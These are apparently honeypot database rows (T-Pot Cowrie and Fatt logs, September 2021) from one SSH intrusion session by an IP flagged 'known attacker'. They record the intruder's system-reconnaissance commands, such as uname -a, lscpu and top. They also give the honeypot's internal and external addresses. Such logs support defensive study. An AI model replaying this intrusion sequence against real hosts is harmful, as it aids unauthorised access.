33897	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:51.574241+03	2021-09-20 15:00:06.441722+03	{"_id": "aAYRA3wBvYTbRNuE01I1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "203.176.71.44", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6284596920013428, "duplicate": true, "timestamp": "2021-09-20T11:57:51.574241Z", "@timestamp": "2021-09-20T11:57:51.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33898	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:52.00383+03	2021-09-20 15:00:06.443722+03	{"_id": "agYRA3wBvYTbRNuE01I1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:52.003830Z", "@timestamp": "2021-09-20T11:57:52.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33899	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:52.630749+03	2021-09-20 15:00:06.444722+03	{"_id": "awYRA3wBvYTbRNuE11Id", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "203.176.71.44", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6275496482849121, "duplicate": true, "timestamp": "2021-09-20T11:57:52.630749Z", "@timestamp": "2021-09-20T11:57:52.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33900	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:54.143827+03	2021-09-20 15:00:06.446721+03	{"_id": "cAYRA3wBvYTbRNuE21IG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:54.143827Z", "@timestamp": "2021-09-20T11:57:54.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33901	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:54.77125+03	2021-09-20 15:00:06.447721+03	{"_id": "cgYRA3wBvYTbRNuE3lLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "203.176.71.44", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6275079250335693, "duplicate": true, "timestamp": "2021-09-20T11:57:54.771250Z", "@timestamp": "2021-09-20T11:57:54.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33902	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:55.202856+03	2021-09-20 15:00:06.448722+03	{"_id": "dAYRA3wBvYTbRNuE3lLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:55.202856Z", "@timestamp": "2021-09-20T11:57:55.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33903	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:55.523346+03	2021-09-20 15:00:06.449722+03	{"_id": "dgYRA3wBvYTbRNuE4lLX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.closed", "message": "Connection lost after 32 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 32.6644287109375, "timestamp": "2021-09-20T11:57:55.523346Z", "@timestamp": "2021-09-20T11:57:55.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33904	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:52.003284+03	2021-09-20 15:00:06.450722+03	{"_id": "aQYRA3wBvYTbRNuE01I1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:52.003284Z", "@timestamp": "2021-09-20T11:57:52.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33905	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:53.085938+03	2021-09-20 15:00:06.451723+03	{"_id": "bAYRA3wBvYTbRNuE11Ie", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:53.085938Z", "@timestamp": "2021-09-20T11:57:53.085Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33906	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:53.086483+03	2021-09-20 15:00:06.452722+03	{"_id": "bQYRA3wBvYTbRNuE11Ie", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:53.086483Z", "@timestamp": "2021-09-20T11:57:53.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33907	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:53.713754+03	2021-09-20 15:00:06.454723+03	{"_id": "bwYRA3wBvYTbRNuE21IG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "203.176.71.44", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6278941631317139, "duplicate": true, "timestamp": "2021-09-20T11:57:53.713754Z", "@timestamp": "2021-09-20T11:57:53.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33908	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:54.144393+03	2021-09-20 15:00:06.455722+03	{"_id": "cQYRA3wBvYTbRNuE21IG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:54.144393Z", "@timestamp": "2021-09-20T11:57:54.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33909	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:55.202295+03	2021-09-20 15:00:06.456908+03	{"_id": "cwYRA3wBvYTbRNuE3lLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:55.202295Z", "@timestamp": "2021-09-20T11:57:55.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33910	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:55.518815+03	2021-09-20 15:00:06.457722+03	{"_id": "dQYRA3wBvYTbRNuE4lLX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "203.176.71.44", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.3166031837463379, "duplicate": true, "timestamp": "2021-09-20T11:57:55.518815Z", "@timestamp": "2021-09-20T11:57:55.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33911	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:46.263467+03	2021-09-20 15:00:06.458722+03	{"_id": "WAYRA3wBvYTbRNuEv1Kp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "203.176.71.44", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6281290054321289, "duplicate": true, "timestamp": "2021-09-20T11:57:46.263467Z", "@timestamp": "2021-09-20T11:57:46.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33912	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:47.322811+03	2021-09-20 15:00:06.459738+03	{"_id": "WwYRA3wBvYTbRNuEw1KR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "203.176.71.44", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6275792121887207, "duplicate": true, "timestamp": "2021-09-20T11:57:47.322811Z", "@timestamp": "2021-09-20T11:57:47.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33913	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:48.831894+03	2021-09-20 15:00:06.46174+03	{"_id": "XwYRA3wBvYTbRNuEx1J6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:48.831894Z", "@timestamp": "2021-09-20T11:57:48.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33914	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:49.892865+03	2021-09-20 15:00:06.462733+03	{"_id": "YgYRA3wBvYTbRNuEy1Jj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:49.892865Z", "@timestamp": "2021-09-20T11:57:49.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33915	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:49.893423+03	2021-09-20 15:00:06.463733+03	{"_id": "YwYRA3wBvYTbRNuEy1Jj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:49.893423Z", "@timestamp": "2021-09-20T11:57:49.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33916	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:50.945864+03	2021-09-20 15:00:06.465738+03	{"_id": "ZwYRA3wBvYTbRNuEz1JM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:50.945864Z", "@timestamp": "2021-09-20T11:57:50.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33917	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:46.695852+03	2021-09-20 15:00:06.466736+03	{"_id": "VgYRA3wBvYTbRNuEv1Ko", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:46.695852Z", "@timestamp": "2021-09-20T11:57:46.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33918	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:46.696358+03	2021-09-20 15:00:06.467735+03	{"_id": "VwYRA3wBvYTbRNuEv1Ko", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:46.696358Z", "@timestamp": "2021-09-20T11:57:46.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33919	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:11.444942+03	2021-09-20 15:00:06.468765+03	{"_id": "tAYSA3wBvYTbRNuEH1Kv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45546, "timestamp": "2021-09-20T11:58:11.444942", "@timestamp": "2021-09-20T11:58:11.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
